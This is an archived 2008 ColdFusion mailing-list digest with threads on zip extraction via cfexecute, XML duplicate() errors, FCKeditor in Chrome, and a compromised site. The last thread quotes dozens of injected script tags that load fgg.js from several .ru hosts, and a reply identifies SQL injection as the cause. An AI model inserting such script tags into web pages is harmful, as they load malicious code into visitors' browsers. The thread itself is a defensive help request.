Good guess, but no, I don't think permission is an issue. I can do all the extractions manually. Rick -Original Message- From: Josh Nathanson [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 02, 2008 5:37 PM To: CF-Talk Subject: Re: How can I unzip a password-protected zip file with cfzip? It seems to be doing what it should, but the extracted files aren't showing up in the destination folder... Just guessing but could it be something permission related, i.e. the perceived user that is doing the unzipping doesn't have write access to the destination folder? -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311953 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: How can I unzip a password-protected zip file with cfzip?
Whew... I've tried everything I can think of and I can't get the extracted folder and file to show up. Suggestions, anyone? Rick -Original Message- From: Rick Faircloth [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 02, 2008 5:50 PM To: CF-Talk Subject: RE: How can I unzip a password-protected zip file with cfzip? Good guess, but no, I don't think permission is an issue. I can do all the extractions manually. Rick -Original Message- From: Josh Nathanson [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 02, 2008 5:37 PM To: CF-Talk Subject: Re: How can I unzip a password-protected zip file with cfzip? It seems to be doing what it should, but the extracted files aren't showing up in the destination folder... Just guessing but could it be something permission related, i.e. the perceived user that is doing the unzipping doesn't have write access to the destination folder? -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311954 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: How can I unzip a password-protected zip file with cfzip?
When you say you can do the extractions manually, what user are you logged in as? What user is CF running as? Have you actually tried logging in as the user CF uses and running the same script. Perhaps you could wrap up the call and arguments in a batch file that you know works, and then call that .bat file with cfexecute. ~Brad Original Message Subject: RE: How can I unzip a password-protected zip file with cfzip? From: Rick Faircloth [EMAIL PROTECTED] Date: Tue, September 02, 2008 5:29 pm To: CF-Talk cf-talk@houseoffusion.com Whew... I've tried everything I can think of and I can't get the extracted folder and file to show up. Suggestions, anyone? Rick -Original Message- From: Rick Faircloth [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 02, 2008 5:50 PM To: CF-Talk Subject: RE: How can I unzip a password-protected zip file with cfzip? Good guess, but no, I don't think permission is an issue. I can do all the extractions manually. Rick -Original Message- From: Josh Nathanson [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 02, 2008 5:37 PM To: CF-Talk Subject: Re: How can I unzip a password-protected zip file with cfzip? It seems to be doing what it should, but the extracted files aren't showing up in the destination folder... Just guessing but could it be something permission related, i.e. the perceived user that is doing the unzipping doesn't have write access to the destination folder? -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311955 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: How can I unzip a password-protected zip file with cfzip?
Good guess, but no, I don't think permission is an issue. I can do all the extractions manually. Are you sure the user is the same when you are doing it manually, and when the script does it? When ColdFusion is running cfexecute, I think it sees Coldfusion as the user -- when you are doing it manually, it probably sees you as the user. I'm not an expert in this type of stuff, but whenever something isn't written to a folder as it should be, it's very often a permissions issue. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311956 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: How can I unzip a password-protected zip file with cfzip?
Thanks for the comments, Brad Josh... I switched the account under which CF runs to my login and still no-go. I still get the same message in the extract_log.txt, too: Decrypting Encrypted files Extracting files from .ZIP: e:/inetpub/webroot/real_estate_data/smlc/daily_downloads/zip_files/MI20080901_031315_RES_1.zip I don't have any permission problems with cfzip, cfdirectory, or any other tag or function. Typically CF runs under Local System Account, per its installation. It just seems as if the arguments after the first one, which tells the program which file to unzip, are ignored. It seems, from the message above, Decrypting Encrypted files, that the program is accepting my password in the arguments, as well as the info about which file to unzip, but the final argument, what folder to place the extracted file in, is ignored. Here's the code again. See any problem? cfexecute name=e:\inetpub\webroot\real_estate_data\smlc\daily_downloads\zip_files\pkzip25.exe arguments = -extract e:\inetpub\webroot\real_estate_data\smlc\daily_downloads\zip_files\MI20080901_031315_RES_1.zip -password bsz3xuYD e:\inetpub\webroot\real_estate_data\smlc\daily_downloads\zip_files timeout = 10 outputfile = e:\inetpub\webroot\real_estate_data\smlc\daily_downloads\zip_files\extract_log.txt / Just so you realize, I've broken the arguments line up so that it wouldn't wrap and would be easier to read. It's all one line, with a space between the arguments in the actual tag. Rick -Original Message- From: Josh Nathanson [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 02, 2008 7:05 PM To: CF-Talk Subject: Re: How can I unzip a password-protected zip file with cfzip? Good guess, but no, I don't think permission is an issue. I can do all the extractions manually. Are you sure the user is the same when you are doing it manually, and when the script does it? When ColdFusion is running cfexecute, I think it sees Coldfusion as the user -- when you are doing it manually, it probably sees you as the user. I'm not an expert in this type of stuff, but whenever something isn't written to a folder as it should be, it's very often a permissions issue. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311957 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: How can I unzip a password-protected zip file with cfzip?
Ok... So I ran: cfexecute name=c:\windows\system32\netstat.exe arguments=-e outputfile=e:\adobe_site\netstat.txt timeout=1 /cfexecute No problem...got the outputfile. ??? -Original Message- From: Josh Nathanson [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 02, 2008 7:05 PM To: CF-Talk Subject: Re: How can I unzip a password-protected zip file with cfzip? Good guess, but no, I don't think permission is an issue. I can do all the extractions manually. Are you sure the user is the same when you are doing it manually, and when the script does it? When ColdFusion is running cfexecute, I think it sees Coldfusion as the user -- when you are doing it manually, it probably sees you as the user. I'm not an expert in this type of stuff, but whenever something isn't written to a folder as it should be, it's very often a permissions issue. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311958 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Problem using duplicate() on xml data type
For the past 16 months I've been reading an XML document with cffile and parsing it into an application variable, all within an exclusive cflock on the application scope. From there, I copied the parsed document using duplicate() into the request scope for use throughout my application. About three weeks ago this duplicate call began throwing errors. Since then several other of my sites began throwing this error, all of them are hosted at HostMySite CF+ shared hosting. The issue is intermittent, happening for around 3-6% of the requests to the site, depending upon which one. The errors encountered are (and they usually appear in this order): * The typical null null NPE error, java.lang.NullPointerException. * INVALID_CHARACTER_ERR: An invalid or illegal XML character is specified. null --- Stack trace --- org.w3c.dom.DOMException: INVALID_CHARACTER_ERR: An invalid or illegal XML character is specified. at org.apache.xerces.dom.CoreDocumentImpl.createElement(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at coldfusion.xml.XmlNodeList.Duplicate(XmlNodeList.java:319) at coldfusion.runtime.ObjectDuplicator._duplicate(ObjectDuplicator.java:105) at coldfusion.runtime.ObjectDuplicator.duplicate(ObjectDuplicator.java:63) at coldfusion.runtime.ObjectDuplicator._duplicate(ObjectDuplicator.java:126) at coldfusion.runtime.ObjectDuplicator.duplicate(ObjectDuplicator.java:63) at coldfusion.runtime.CFPage.Duplicate(CFPage.java:4775) at cfApplication2ecfm703397020._factor8(C:\Websites\162552du7\Application.cfm:118) at cfApplication2ecfm703397020.runPage(C:\Websites\162552du7\Application.cfm:1) at coldfusion.runtime.CfJspPage.invoke(CfJspPage.java:196) * NAMESPACE_ERR: An attempt is made to create or change an object in a way which is incorrect with regard to namespaces. null --- Stack trace --- org.w3c.dom.DOMException: NAMESPACE_ERR: An attempt is made to create or change an object in a way which is incorrect with regard to namespaces. at org.apache.xerces.dom.ElementNSImpl.setName(Unknown Source) at org.apache.xerces.dom.ElementNSImpl.init(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.createElementNS(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at coldfusion.xml.XmlNodeList.Duplicate(XmlNodeList.java:319) at coldfusion.runtime.ObjectDuplicator._duplicate(ObjectDuplicator.java:105) at coldfusion.runtime.ObjectDuplicator.duplicate(ObjectDuplicator.java:63) at coldfusion.runtime.ObjectDuplicator._duplicate(ObjectDuplicator.java:126) at coldfusion.runtime.ObjectDuplicator.duplicate(ObjectDuplicator.java:63) at coldfusion.runtime.CFPage.Duplicate(CFPage.java:4775) at cfApplication2ecfm1694192392._factor8(C:\Websites\169704wt9\Application.cfm:118) at cfApplication2ecfm1694192392.runPage(C:\Websites\169704wt9\Application.cfm:1) at coldfusion.runtime.CfJspPage.invoke(CfJspPage.java:196) I've tried replacing the XML documents to make sure they haven't become corrupt, but despite this I've never run into any issues reading or parsing the file, only when trying to duplicate it. Here's the guts of the application file. cflock scope=APPLICATION type=readonly timeout=60 cfset request.apploaded = IsDefined('APPLICATION.apploaded') /cflock cfif NOT request.apploaded OR isDebugMode() cflock scope=APPLICATION type=exclusive timeout=45 cfif fileExists(expandPath('./themes/templates.xml')) cffile action=read file=#expandPath('./themes/templates.xml')# variable=xTemplate/ cfset APPLICATION.templates = xmlParse(xTemplate)/ /cfif cfset APPLICATION.apploaded = TRUE /cflock /cfif cflock scope=APPLICATION type=readonly timeout=60 cfset request.application = duplicate(APPLICATION)/ /cflock Has anyone seen any of these issues? HMS support has not be helpful in resolving the issue. I am forcing the application scope to rebuild itself at this point to limit the effect of the issue, but even still it's getting out of hand. Any help would be highly appreciated. Thanks, Mike ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311959 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Google Chrome and FCKeditor
I just downloaded and installed the google chrome browser. It blows the socks off of IE and firefox.. However, none of my pages that use fckeditor.cfc work I get a strange error that width is undefied.. but it works in all of the other browsers.. When I hard code in the width, no errors but the fckeditor just doesn't show up. Can anyone else try thiers and let me know if it works for them? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311960 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Problem using duplicate() on xml data type
Has the packet grown over those 16 months? Might just be a memory consumption issue. In my experience null null errors often are cause by memory errors, and the infrequency and nonrepeatability also point that way. cheers, barneyb --- Barney Boisvert [EMAIL PROTECTED] http://www.barneyb.com On Sep 2, 2008, at 5:44 PM, Mike Vierow [EMAIL PROTECTED] wrote: For the past 16 months I've been reading an XML document with cffile and parsing it into an application variable, all within an exclusive cflock on the application scope. From there, I copied the parsed document using duplicate() into the request scope for use throughout my application. About three weeks ago this duplicate call began throwing errors. Since then several other of my sites began throwing this error, all of them are hosted at HostMySite CF+ shared hosting. The issue is intermittent, happening for around 3-6% of the requests to the site, depending upon which one. The errors encountered are (and they usually appear in this order): * The typical null null NPE error, java.lang.NullPointerException. * INVALID_CHARACTER_ERR: An invalid or illegal XML character is specified. null --- Stack trace --- org.w3c.dom.DOMException: INVALID_CHARACTER_ERR: An invalid or illegal XML character is specified. at org.apache.xerces.dom.CoreDocumentImpl.createElement(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at coldfusion.xml.XmlNodeList.Duplicate(XmlNodeList.java:319) at coldfusion.runtime.ObjectDuplicator._duplicate(ObjectDuplicator.java: 105) at coldfusion.runtime.ObjectDuplicator.duplicate(ObjectDuplicator.java: 63) at coldfusion.runtime.ObjectDuplicator._duplicate(ObjectDuplicator.java: 126) at coldfusion.runtime.ObjectDuplicator.duplicate(ObjectDuplicator.java: 63) at coldfusion.runtime.CFPage.Duplicate(CFPage.java:4775) at cfApplication2ecfm703397020._factor8(C:\Websites \162552du7\Application.cfm:118) at cfApplication2ecfm703397020.runPage(C:\Websites \162552du7\Application.cfm:1) at coldfusion.runtime.CfJspPage.invoke(CfJspPage.java:196) * NAMESPACE_ERR: An attempt is made to create or change an object in a way which is incorrect with regard to namespaces. null --- Stack trace --- org.w3c.dom.DOMException: NAMESPACE_ERR: An attempt is made to create or change an object in a way which is incorrect with regard to namespaces. at org.apache.xerces.dom.ElementNSImpl.setName(Unknown Source) at org.apache.xerces.dom.ElementNSImpl.init(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.createElementNS(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at org.apache.xerces.dom.CoreDocumentImpl.importNode(Unknown Source) at coldfusion.xml.XmlNodeList.Duplicate(XmlNodeList.java:319) at coldfusion.runtime.ObjectDuplicator._duplicate(ObjectDuplicator.java: 105) at coldfusion.runtime.ObjectDuplicator.duplicate(ObjectDuplicator.java: 63) at coldfusion.runtime.ObjectDuplicator._duplicate(ObjectDuplicator.java: 126) at coldfusion.runtime.ObjectDuplicator.duplicate(ObjectDuplicator.java: 63) at coldfusion.runtime.CFPage.Duplicate(CFPage.java:4775) at cfApplication2ecfm1694192392._factor8(C:\Websites \169704wt9\Application.cfm:118) at cfApplication2ecfm1694192392.runPage(C:\Websites \169704wt9\Application.cfm:1) at coldfusion.runtime.CfJspPage.invoke(CfJspPage.java:196) I've tried replacing the XML documents to make sure they haven't become corrupt, but despite this I've never run into any issues reading or parsing the file, only when trying to duplicate it. Here's the guts of the application file. cflock scope=APPLICATION type=readonly timeout=60 cfset request.apploaded = IsDefined('APPLICATION.apploaded') /cflock cfif NOT request.apploaded OR isDebugMode() cflock scope=APPLICATION type=exclusive timeout=45 cfif fileExists(expandPath('./themes/templates.xml')) cffile action=read file=#expandPath('./themes/templates.xml')# variable=xTemplate/ cfset APPLICATION.templates = xmlParse(xTemplate)/ /cfif cfset APPLICATION.apploaded = TRUE /cflock /cfif cflock scope=APPLICATION type=readonly timeout=60 cfset request.application = duplicate(APPLICATION)/ /cflock Has anyone seen any of these issues? HMS support has not be helpful in resolving the issue. I am forcing the application scope to rebuild itself at this point to limit the effect of the issue, but even still it's getting out of
Re: Problem using duplicate() on xml data type
Is the duplicate() call inside the same exclusive lock? On Wed, Sep 3, 2008 at 8:44 AM, Mike Vierow [EMAIL PROTECTED] wrote: For the past 16 months I've been reading an XML document with cffile and parsing it into an application variable, all within an exclusive cflock on the application scope. From there, I copied the parsed document using duplicate() into the request scope for use throughout my application. About three weeks ago this duplicate call began throwing errors. Since then several other of my sites began throwing this error, all of them are hosted at HostMySite CF+ shared hosting. The issue is intermittent, happening for around 3-6% of the requests to the site, depending upon which one. -- mxAjax / CFAjax docs and other useful articles: http://www.bifrost.com.au/blog/ ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311962 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Problem using duplicate() on xml data type
cfif fileExists(expandPath('./themes/templates.xml')) cffile action=read file=#expandPath('./themes/templates.xml')# variable=xTemplate/ cfset APPLICATION.templates = xmlParse(xTemplate)/ /cfif Doesn't have anything to do with your problem I think, but if you're CF7+, you can drop the whole cffile read, and just xmlParse() the file itself. Will ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311963 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Google Chrome and FCKeditor
Yeah, mine is broken too. The editor just doesn't show up. On Tue, Sep 2, 2008 at 9:06 PM, Al Musella, DPM [EMAIL PROTECTED]wrote: I just downloaded and installed the google chrome browser. It blows the socks off of IE and firefox.. However, none of my pages that use fckeditor.cfc work I get a strange error that width is undefied.. but it works in all of the other browsers.. When I hard code in the width, no errors but the fckeditor just doesn't show up. Can anyone else try thiers and let me know if it works for them? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311964 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Google Chrome and FCKeditor
Solved. I just downloaded and installed the latest version of fckeditor and it now works! The editor loads instantly. There was about a 2 second delay in ie! At 09:29 PM 9/2/2008, Jeff Fleitz wrote: Yeah, mine is broken too. The editor just doesn't show up. On Tue, Sep 2, 2008 at 9:06 PM, Al Musella, DPM [EMAIL PROTECTED]wrote: I just downloaded and installed the google chrome browser. It blows the socks off of IE and firefox.. However, none of my pages that use fckeditor.cfc work I get a strange error that width is undefied.. but it works in all of the other browsers.. When I hard code in the width, no errors but the fckeditor just doesn't show up. Can anyone else try thiers and let me know if it works for them? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311965 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Google Chrome and FCKeditor
fckeditor doesn't show up for me either in one of my sites. haven't checked them all yet. Yves Arsenault Love is the only force capable of transforming an enemy into a friend. --Martin Luther King, Jr. On Tue, Sep 2, 2008 at 10:29 PM, Jeff Fleitz [EMAIL PROTECTED] wrote: Yeah, mine is broken too. The editor just doesn't show up. On Tue, Sep 2, 2008 at 9:06 PM, Al Musella, DPM [EMAIL PROTECTED]wrote: I just downloaded and installed the google chrome browser. It blows the socks off of IE and firefox.. However, none of my pages that use fckeditor.cfc work I get a strange error that width is undefied.. but it works in all of the other browsers.. When I hard code in the width, no errors but the fckeditor just doesn't show up. Can anyone else try thiers and let me know if it works for them? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311966 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Google Chrome and FCKeditor
Right on... I'll try this! ;-) Yves Arsenault Love is the only force capable of transforming an enemy into a friend. --Martin Luther King, Jr. On Tue, Sep 2, 2008 at 10:34 PM, Al Musella, DPM [EMAIL PROTECTED]wrote: Solved. I just downloaded and installed the latest version of fckeditor and it now works! The editor loads instantly. There was about a 2 second delay in ie! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311967 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Google Chrome and FCKeditor
FCK has handlers based on the browser detected.Im curious as to how it identifies itself Eric On Tue, Sep 2, 2008 at 9:29 PM, Jeff Fleitz [EMAIL PROTECTED] wrote: Yeah, mine is broken too. The editor just doesn't show up. On Tue, Sep 2, 2008 at 9:06 PM, Al Musella, DPM [EMAIL PROTECTED]wrote: I just downloaded and installed the google chrome browser. It blows the socks off of IE and firefox.. However, none of my pages that use fckeditor.cfc work I get a strange error that width is undefied.. but it works in all of the other browsers.. When I hard code in the width, no errors but the fckeditor just doesn't show up. Can anyone else try thiers and let me know if it works for them? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311968 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Script on one site
I have one site in particular that keeps getting this kind of stuff on the bottom of .cfm pages right above the /body tag. I have already recreated their FTP account once with a strong password. It seems odd this is only happening to .cfm pages though and only on this site on the server. Any ideas? script src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.kj5s.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.kj5s.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.po4c.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.kpo3.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.kj5s.ru/fgg.js/scriptscript src=http://www.kj5s.ru/fgg.js/scriptscript src=http://www.kj5s.ru/fgg.js/scriptscript src=http://www.po4c.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.jve4.ru/fgg.js/scriptscript src=http://www.kpo3.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.po4c.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.po4c.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.jve4.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.po4c.ru/fgg.js/scriptscript src=http://www.po4c.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript
Re: Script on one site
you have become a victim of sql injection. there are huge threads on this forum devoted to the recent spate of sqli attacks, with great suggestions re fixing this. the most important thing: make sure all your queries use cfqueryparam! Azadi Saryev Sabai-dee.com http://www.sabai-dee.com/ [EMAIL PROTECTED] wrote: I have one site in particular that keeps getting this kind of stuff on the bottom of .cfm pages right above the /body tag. I have already recreated their FTP account once with a strong password. It seems odd this is only happening to .cfm pages though and only on this site on the server. Any ideas? script src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.ncwc.ru/fgg.js/scriptscript src=http://www.kj5s.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.kj5s.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript 